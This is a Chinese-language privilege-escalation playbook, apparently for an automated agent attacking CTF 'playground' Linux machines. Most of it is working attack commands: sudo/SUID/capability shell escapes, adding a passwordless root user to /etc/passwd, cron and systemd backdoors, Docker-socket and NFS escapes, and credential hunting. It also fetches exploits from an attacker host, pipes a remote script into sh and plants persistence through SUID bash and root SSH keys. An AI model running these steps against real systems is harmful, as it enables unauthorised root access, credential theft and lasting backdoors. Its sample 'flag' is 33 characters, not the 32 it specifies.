PrivilegeEscalationKnowledgeBase privilege-escalation-knowledge

这是一个关于Linux系统权限提升的综合知识库,提供了从低权限用户提升到root用户的方法和技巧,包括快速胜利、深度枚举、替代方法、利用执行和root标记捕获等步骤。关键词包括'权限提升'、'Linux'、'sudo'、'SUID'、'内核漏洞'。

渗透测试 0 次安装 0 次浏览 更新于 3/3/2026

特权提升知识库

目的

这个知识库提供了Linux系统权限提升的综合方法。它涵盖了从低权限用户(www-data,user)提升到root,然后捕获root标记的过程。

分层权限提升策略

核心原则: 通过3个层次系统地提升 - 从快速胜利到详尽枚举。

层次框架:

第1层(快速胜利 - 手动):
  - 立即检查最常见的向量
  - 目标:在2-3分钟内找到简单的提权
  - 重点:sudo -l, SUID, 明显的配置错误
  - 时间:2-5分钟

第2层(深度枚举 - 自动化):
  - 运行全面的枚举工具
  - 目标:找到所有可能的提权向量
  - 重点:linpeas, linenum, pspy
  - 时间:5-15分钟

第3层(替代方法):
  - 尝试较少见的向量或内核漏洞
  - 目标:找到被忽视或复杂的提权路径
  - 重点:内核漏洞,容器逃逸,NFS等
  - 时间:可变

提升触发器:

  • 第1层找不到明显的东西 → 运行第2层枚举
  • 第2层找到向量但利用失败 → 尝试第3层替代方案
  • 第3层失败 → 重新检查侦察,可能错过了服务/配置

核心策略

系统执行:

  1. 快速胜利(第1层):首先检查简单的向量(sudo, SUID, capabilities)
  2. 深度枚举(第2层):使用自动化工具找到所有向量
  3. 替代向量(第3层):内核漏洞,容器逃逸,NFS
  4. 利用:执行选择的提权方法
  5. Root标记:定位并读取root.txt
  6. 验证:用id, whoami确认root访问

可用工具

枚举脚本

  • linpeas.sh - 全面自动化枚举
  • linenum.sh - 替代枚举脚本
  • pspy - 无需root监控进程

手动命令

  • sudo -l - 检查sudo权限
  • find / -perm -4000 2>/dev/null - 查找SUID二进制文件
  • getcap -r / 2>/dev/null - 查找功能
  • crontab -l - 检查用户cron作业
  • cat /etc/crontab - 检查系统cron作业

参考资料

枚举工作流程

第1阶段:快速手动检查

立即执行这些:

# 1. 检查当前用户和组
id
groups

# 2. 检查sudo权限(最常见的向量)
sudo -l

# 3. 检查SUID二进制文件
find / -perm -4000 -type f 2>/dev/null

# 4. 检查/etc中可写的文件
find /etc -writable -type f 2>/dev/null

# 5. 检查有趣的文件
ls -la /home/*/
ls -la /root/
ls -la /opt/
ls -la /var/www/html/

# 6. 检查运行中的进程
ps aux | grep root

# 7. 检查cron作业
cat /etc/crontab
ls -la /etc/cron.*
crontab -l

# 8. 检查功能
getcap -r / 2>/dev/null

第2阶段:自动化枚举

下载并运行linpeas:

# 下载linpeas
cd /tmp
wget http://YOUR_IP:8000/linpeas.sh
# 或
curl http://YOUR_IP:8000/linpeas.sh -o linpeas.sh

# 使可执行
chmod +x linpeas.sh

# 运行并保存输出
./linpeas.sh > linpeas-output.txt 2>&1

# 查看输出
cat linpeas-output.txt | grep -i "PEASS\|password\|ssh\|priv"

如果不能下载,使用单行:

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

常见提权向量

1. Sudo滥用(最常见)

# 检查你可以作为root运行什么
sudo -l

# 常见可利用命令:
# - vim: sudo vim -c ':!/bin/sh'
# - nano: sudo nano, 然后 Ctrl+R Ctrl+X, 类型:reset; sh 1>&0 2>&0
# - less: sudo less /etc/profile, 然后 !sh
# - man: sudo man man, 然后 !sh
# - find: sudo find . -exec /bin/sh \; -quit
# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
# - perl: sudo perl -e 'exec "/bin/sh";'
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
# - git: sudo git -p help config, 然后 !sh

# GTFOBins模板:
# 1. 确定你可以sudo的二进制文件
# 2. 在GTFOBins中搜索该二进制文件
# 3. 按照利用步骤操作

2. SUID二进制文件

# 查找SUID二进制文件
find / -perm -4000 -type f 2>/dev/null

# 与标准SUID二进制文件比较
# 不寻常的很有趣

# 常见可利用SUID二进制文件:
# - /usr/bin/python
# - /usr/bin/perl
# - /usr/bin/php
# - /usr/bin/vim
# - /usr/bin/find
# - /usr/bin/nmap(旧版本)
# - 自定义二进制文件

# 利用示例:

# Python SUID
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'

# Vim SUID
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

# 查找SUID
/usr/bin/find . -exec /bin/sh -p \; -quit

# 检查GTFOBins中特定二进制文件

3. 功能

# 查找功能
getcap -r / 2>/dev/null

# 可利用功能:
# - cap_setuid+ep在python/perl/ruby上
# - cap_dac_read_search用于读取任何文件

# 具有cap_setuid的Python
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# 具有cap_setuid的Perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

4. 可写的/etc/passwd

# 检查/etc/passwd是否可写
ls -la /etc/passwd

# 如果可写,添加root用户
echo 'hacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd

# 或更简单(密码:hacker)
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd

# 登录为新的root用户
su hacker

5. Cron作业

# 检查cron作业
cat /etc/crontab
ls -la /etc/cron.*

# 查找:
# 1. 作为root运行的脚本
# 2. 你的用户可写的

# 如果找到由root运行的可写脚本
echo '#!/bin/bash
chmod +s /bin/bash' > /path/to/script.sh

# 等待cron运行(检查计划)
# 然后执行
/bin/bash -p

6. 可写的服务文件

# 检查可写的systemd服务
find /etc/systemd/system/ -writable 2>/dev/null

# 如果找到,修改ExecStart
[Service]
ExecStart=/bin/bash -c 'chmod +s /bin/bash'

# 重启服务
systemctl restart vulnerable.service

# 执行SUID bash
/bin/bash -p

7. 内核漏洞(最后手段)

# 检查内核版本
uname -a
uname -r

# 搜索内核漏洞
searchsploit "linux kernel $(uname -r)"
searchsploit "ubuntu privilege escalation"

# 常见内核漏洞:
# - DirtyCOW (CVE-2016-5195)
# - Dirty Pipe (CVE-2022-0847)
# - PwnKit (CVE-2021-4034)

# 示例:Dirty Pipe
wget http://YOUR_IP:8000/dirtypipe.c
gcc dirtypipe.c -o dirtypipe
./dirtypipe

8. Docker/容器逃逸

# 检查是否在Docker中
ls -la /.dockerenv
cat /proc/1/cgroup | grep docker

# 如果docker套接字可访问
find / -name docker.sock 2>/dev/null

# 如果找到/var/run/docker.sock
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# 或检查是否有特权容器
fdisk -l
# 如果你可以看到主机磁盘,你就是特权的

9. 文件中的凭据

# 搜索密码
grep -r "password" /var/www/html/ 2>/dev/null
grep -r "pass" /etc/ 2>/dev/null
find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i "password"

# 检查历史文件
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null

# 检查SSH密钥
find / -name id_rsa 2>/dev/null
find / -name authorized_keys 2>/dev/null

# 数据库凭据
cat /var/www/html/config.php
cat /var/www/html/wp-config.php

10. NFS导出

# 检查NFS导出
cat /etc/exports

# 如果设置了no_root_squash
# 在攻击者机器上挂载:
mkdir /tmp/mount
mount -t nfs TARGET:/share /tmp/mount
# 在攻击者上作为root创建SUID二进制文件
cp /bin/bash /tmp/mount/bash
chmod +s /tmp/mount/bash
# 在目标上执行
/share/bash -p

利用过程

第1步:确定向量

根据枚举,选择最佳向量:

  1. Sudo权限 - 最高优先级,通常最容易
  2. SUID二进制文件 - 检查GTFOBins
  3. 功能 - 较少见但功能强大
  4. Cron作业 - 可能需要等待
  5. 内核漏洞 - 最后手段,可能会使系统崩溃

第2步:执行提权

# 示例:Sudo vim利用

# 1. 验证你可以运行它
sudo -l
# 输出:(root)NOPASSWD:/usr/bin/vim

# 2. 作为root执行vim
sudo vim

# 3. 在vim中,输入:
:set shell=/bin/bash
:shell

# 4. 验证root
id
# 输出:uid=0(root)gid=0(root)

第3步:稳定Root访问

一旦获得root,确保你可以保持访问:

# 为bash添加SUID(备份方法)
chmod +s /bin/bash

# 或添加SSH密钥
mkdir -p /root/.ssh
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

Root标记捕获

定位Root标记

# 常见位置
cat /root/root.txt
cat /root/flag.txt

# 如果未找到则搜索
find /root -name "*.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

验证标记格式

# 应该是32个字符的十六进制字符串
cat /root/root.txt | wc -c  # 应该是33(32 + 换行)
cat /root/root.txt | grep -E '^[a-f0-9]{32}$'

更新状态

# 保存root标记
ROOT_FLAG=$(cat /root/root.txt)
echo "Root flag: $ROOT_FLAG"

# 更新状态文件(如果可访问)
jq --arg flag "$ROOT_FLAG" '.flags.root = $flag' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json

故障排除

无法下载工具

# 方法1:Python HTTP服务器(在攻击者上)
python3 -m http.server 8000

# 方法2:Base64传输
# 在攻击者上:
base64 linpeas.sh | xclip -selection clipboard
# 在目标上:
echo 'BASE64_STRING' | base64 -d > linpeas.sh

# 方法3:仅使用内置工具
# 使用find, grep等手动枚举

没有写权限

# 尝试/tmp
cd /tmp
# 或/dev/shm
cd /dev/shm
# 或当前用户家目录
cd ~

卡住/没有找到向量

# 再次更仔细地运行枚举
# 检查linpeas输出中的任何黄色/红色
cat linpeas-output.txt | grep -E "PEASS|95%|99%"

# 检查遗漏的向量:
# 1. 带有密码的环境变量
env | grep -i "pass\|pwd\|key"

# 2. 进程命令行
ps auxww | grep -i "password\|pass"

# 3. 世界可写的脚本
find / -perm -002 -type f 2>/dev/null

# 4. 配置错误的文件
ls -la /etc/shadow /etc/passwd

# 5. 备份文件
find / -name "*.bak" -o -name "*.backup" 2>/dev/null

输出格式

成功提升权限后:

{
  "status": "root_access_gained",
  "method": "Sudo vim exploitation via GTFOBins",
  "vector": "sudo -l showed vim with NOPASSWD",
  "root_flag": "f6e5d4c3b2a1098765432109876543210",
  "exploitation_time": "2 minutes",
  "mission_complete": true
}

成功标准

任务完成时:

  1. ☑️ 获得root访问权限(uid=0)
  2. ☑️ 定位并读取root标记
  3. ☑️ 标记是32个字符的十六进制字符串
  4. ☑️ 捕获了用户和root标记
  5. ☑️ 状态文件更新了两个标记

决策树

获得初始访问权限
│
├─ 运行:sudo -l
│  ├─ 可以sudo某些东西? → GTFOBins → Root
│  └─ 没有sudo → 继续
│
├─ 查找SUID二进制文件
│  ├─ 发现不寻常的SUID? → GTFOBins → Root
│  └─ 没有可利用的SUID → 继续
│
├─ 检查功能
│  ├─ cap_setuid在python/perl上? → 利用 → Root
│  └─ 没有功能 → 继续
│
├─ 检查cron作业
│  ├─ 可写的脚本作为root运行? → 后门 → 等待 → Root
│  └─ 没有cron → 继续
│
├─ 运行linpeas
│  └─ 遵循红色/黄色发现
│
└─ 内核漏洞(最后手段)
   └─ 搜索并编译漏洞利用

核心原则

  1. 系统方法 - 不要跳过步骤,检查一切
  2. 快速胜利第一 - 在内核漏洞之前sudo
  3. GTFOBins是你的朋友 - 用于SUID/sudo
  4. 在声明之前验证 - 确保你实际上有root
  5. 捕获标记 - 读取root.txt内容,不仅仅是位置
  6. 非交互式意识 - 一些漏洞需要TTY,相应调整

记住

  • 大多数游乐场机器有明显的提权向量
  • Sudo配置错误最常见
  • SUID二进制文件是第二常见的
  • 内核漏洞在游乐场很少需要
  • Root标记必须读取 - 不要没有它就声明成功
  • 记录成功的方法以供学习和将来参考

任务完成

当你可以执行:

# whoami
root
# cat /root/root.txt
a1b2c3d4e5f6789... (32-char hex)

任务完成!用两个标记更新协调员。